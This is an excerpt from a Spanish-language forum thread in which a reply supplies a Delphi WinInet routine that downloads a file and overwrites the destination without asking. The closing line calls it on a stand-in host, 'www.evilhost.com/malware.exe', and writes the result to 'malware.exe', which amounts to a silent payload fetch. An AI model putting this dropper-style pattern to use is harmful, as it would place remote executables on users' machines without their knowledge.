[tocomi]

Empezado por marilinspi

Si se te ocurre alguna cosa....te lo agradecere.

Aqui tienes algo para poder bajar el archivo desde tu aplicacion, reemplaza el archivo de destino sin preguntar

 program Download;

uses Windows, WinInet;

function ExtractFileName(FileName: string): string;
begin
  while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
  while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
  Result := FileName;
end;


function DescargarFichero(const fileURL, FileName: String): boolean; 
const BufferSize = 1024; 
var 
  hSession, hURL: HInternet; 
  Buffer: array[1..BufferSize] of Byte; 
  BufferLen: DWORD; 
  f: File; 
  sAppName: string; 
begin 
  Result:=False; 
  sAppName := ExtractFileName(paramstr(0));
  hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); 
  try 
    hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0); 
    try 
      AssignFile(f, FileName); 
      Rewrite(f,1); 
      repeat 
        InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); 
        BlockWrite(f, Buffer, BufferLen); 
      until BufferLen = 0; 
      CloseFile(f); 
      Result:=True; 
    finally 
      InternetCloseHandle(hURL); 
    end; 
  finally 
    InternetCloseHandle(hSession); 
  end; 
end;

begin
DescargarFichero('www.evilhost.com/malware.exe', 'malware.exe');
end.